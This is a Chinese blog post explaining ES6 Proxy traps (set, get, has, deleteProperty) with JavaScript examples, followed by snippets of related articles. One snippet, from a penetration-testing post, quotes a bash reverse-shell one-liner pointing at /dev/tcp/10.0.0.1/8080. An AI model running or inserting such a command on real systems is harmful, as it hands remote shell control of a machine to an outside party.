通过调用new proxy()你可以创建一个代理来替代另一个对象(被称为目标),这个代理对目标对象进行了虚拟,因此该代理与该目标对象表面上可以被当做同一个对象来对待。

创建一个简单的代理

当你使用Proxy构造器来创建一个代理时,需要传递两个参数:目标对象以及一个处理器,后者是定义了一个或多个陷阱函数的对象。如果未提供陷阱函数,代理会对所有操作采取默认行为。

使用set陷阱函数验证属性值

let target = {};
var proxy = new Proxy(target, {
set(trapTarget, key, value, receiver) {
if (!trapTarget.hasOwnProperty(key)) {
if (isNaN(value)) {
throw new Error('Proxy must be a number');
}
} return Reflect.set(trapTarget, key, value, receiver);
}
}) proxy.count = 1; console.log(proxy.count);
console.log(target.count); try {
proxy.anthorName = 'cc';
} catch (err) {
console.log(err.message);
}

使用上述方法可以对添加给对象的属性值进行验证,如果值为非数字,就会抛出错误。

使用get陷阱函数进行对象外形验证

在js中,如果读取一个对象中不存在的属性时,会显示undefined,这对于排查问题很不利。使用代理进行对象外形验证就可以帮你从这个错误中拯救出来。

let proxy = new Proxy({}, {
get(trapTarget, key, receiver) {
if (!(key in receiver)) {
throw new Error(`property ${key} not exist`);
}
return Reflect.get(trapTarget, key, receiver);
}
}) proxy.name = 'cc';
try {
console.log(proxy.age);
} catch (error) {
console.log(error.message);
} //输出结果
property age not exist

上述代码对打印的对象属性进行验证,如果不存在则抛出一个错误。今日头条的一个面试题

使用has陷阱函数隐藏属性

in运算符用于判断指定对象中是否存在某个属性,如果对象的属性名与指定的字符串或符号值相匹配,那么in运算符应当返回true,无论该属性是对象自身的属性还是原型的属性。代理允许你使用has陷阱函数来解决这个问题

has陷阱函数会在使用in运算符的情况下被调用,并且会被传入两个参数:

  1. trapTarget:需要读取属性的对象(即代理的目标对象)
  2. key:需要检查的属性的键(字符串类型或符号类型)Reflect.has()方法接收与之相同的参数并向in运算符返回默认相应结果
let target = {
name: 'cc',
age: 26,
sex: 'man'
} let proxy = new Proxy(target, {
has(trapTarget, key) {
if (trapTarget.hasOwnProperty(key)) {
return Reflect.has(trapTarget, key);
} else {
return false;
}
}
}) console.log('toString' in proxy);
console.log('name' in proxy);
console.log('age' in proxy);

使用deleteProperty陷阱函数避免属性被删除

delete运算符能从指定对象上删除一个属性,在删除成功时返回true,否则返回false

deleteProperty陷阱函数会在使用delete运算符去删除对象属性时被调用,并且会被传入两个参数:

  1. trapTarget:需要删除属性的对象
  2. key:需要删除的属性的键

Reflect.deleteProperty()方法也接受两个参数,并提供了deleteProperty陷阱函数的默认实现。

let target = {
name: 'target',
value: 42
} let proxy = new Proxy(target, {
deleteProperty(trapTarg, ke) {
if (ke === 'value') {
return false;
} else {
return Reflect.deleteProperty(trapTarg, ke);
}
}
}) let result = delete proxy.value;
let result1 = delete proxy.name;
console.log(result);
console.log(result1);

我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=2n9b6sotx9wkc

深入理解ES6之——代理和反射(proxy)的更多相关文章

  1. 【读书笔记】【深入理解ES6】#12-代理(Proxy)和反射(Reflection)API

    代理(Proxy)是一种可以拦截并改变底层JavaScript引擎操作的包装器,在新语言中通过它暴露内部运作的对象,从而让开发者可以创建内建的对象. 数组问题 在ECMAScript6出现之前,开发者 ...

  2. 【ES6】改变 JS 内置行为的代理与反射

    代理(Proxy)可以拦截并改变 JS 引擎的底层操作,如数据读取.属性定义.函数构造等一系列操作.ES6 通过对这些底层内置对象的代理陷阱和反射函数,让开发者能进一步接近 JS 引擎的能力. 一.代 ...

  3. Java提高班(六)反射和动态代理(JDK Proxy和Cglib)

    反射和动态代理放有一定的相关性,但单纯的说动态代理是由反射机制实现的,其实是不够全面不准确的,动态代理是一种功能行为,而它的实现方法有很多.要怎么理解以上这句话,请看下文. 一.反射 反射机制是 Ja ...

  4. ES6躬行记(24)——代理和反射

    代理和反射是ES6新增的两个特性,两者之间是协调合作的关系,它们的具体功能将在接下来的章节中分别讲解. 一.代理 ES6引入代理(Proxy)地目的是拦截对象的内置操作,注入自定义的逻辑,改变对象的默 ...

  5. 设计模式-代理模式(Proxy Model)

    文 / vincentzh 原文连接:http://www.cnblogs.com/vincentzh/p/5988145.html 目录 1.写在前面 2.概述 3.目的 4.结构组成 5.实现 5 ...

  6. JAVA设计模式(09):结构化-代理模式(Proxy)

    一,定义:  代理模式(Proxy):为其它对象提供一种代理以控制对这个对象的訪问. 二.其类图: 三,分类一:静态代理 1,介绍:也就是须要我们为目标对象编写一个代理对象,在编译期就生成了这个代理对 ...

  7. 深入理解 Java 动态代理机制

    Java 有两种代理方式,一种是静态代理,另一种是动态代理.对于静态代理,其实就是通过依赖注入,对对象进行封装,不让外部知道实现的细节.很多 API 就是通过这种形式来封装的. 代理模式结构图(图片来 ...

  8. 动态代理:JDK原生动态代理(Java Proxy)和CGLIB动态代理原理+附静态态代理

    本文只是对原文的梳理总结,以及自行理解.自己总结的比较简单,而且不深入,不如直接看原文.不过自己梳理一遍更有助于理解. 详细可参考原文:http://www.cnblogs.com/Carpenter ...

  9. 【java项目实战】代理模式(Proxy Pattern),静态代理 VS 动态代理

    这篇博文,我们主要以类图和代码的形式来对照学习一下静态代理和动态代理.重点解析各自的优缺点. 定义 代理模式(Proxy Pattern)是对象的结构型模式,代理模式给某一个对象提供了一个代理对象,并 ...

随机推荐

  1. css单位中px和em,rem的区别

    css单位中分为相对长度单位.绝对长度单位. 今天我们主要讲解rem.em.px这些常用单位的区别和用法. px(绝对长度单位) 相信对于前端来说px这个单位是大家并不陌生,px这个单位,兼容性可以说 ...

  2. NOI 2011 兔农 题解

    事先声明,本博客代码主要模仿accepoc,且仅针对一般如本博主一样的蒟蒻. 这道题不得不说数据良心,给了75分的水分,但剩下25分真心很难得到,因此我们就来讲一讲这剩下的25分. 首先,有数据可知他 ...

  3. C语言指针专题——指针难学的4点原因

    前一篇跟大家聊了聊指针的概念,可是就算了解了指针是什么,为什么依然感觉难学?我试着从几个点切入,聊聊指针难学之处. 文末会给大家推荐几本书,有需要的朋友可以看看! 难点1. 讨厌的星号 定义指针变量p ...

  4. linux几种方式来弹哥shell

    渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ...

  5. struct模块(用于对象的压缩)

    6.27自我总结 struct模块 1.struct模块中的函数 函数 return explain pack(fmt,v1,v2-) string 按照给定的格式(fmt),把数据转换成字符串(字节 ...

  6. Java map笔记

    Map 是一个键值对的集合 花和尚 豹子头 鲁智深 林冲 如果想要从map中获得值,可以根据键 Map<Key,velue> Map虽然是集合,但是和collection的接口无关 我们可 ...

  7. tablayout_不能左右滑动问题小计

    <android.support.design.widget.TabLayout android:id="@+id/tab_pic" android:layout_width ...

  8. c语言进阶13-线性表之顺序表

    一. ACM算法:顺序表的查找 顺序表的查找指获取顺序表的第i个元素.对于线性表的顺序存储结构来说,如果我们要实现获取元素的操作(GetElem),即将线性表L中的第i个位置元素值返回.就程序而言,只 ...

  9. C#3.0新增功能09 LINQ 标准查询运算符 03 按执行方式的分类

    连载目录    [已更新最新开发文章,点击查看详细] 标准查询运算符方法的 LINQ to Objects 实现主要通过两种方法之一执行:立即执行和延迟执行.使用延迟执行的查询运算符可以进一步分为两种 ...

  10. NPOI 日期类型的判断

    NPOI目前我用到有两套类,一套是为了读写XLS:一套是读写XLSX 在读取文件时大都会判断单元格类型,方式大同小异,只有日期类型不同. 默认日期类型的单元格在NPOI都认为是数值类型(CellTyp ...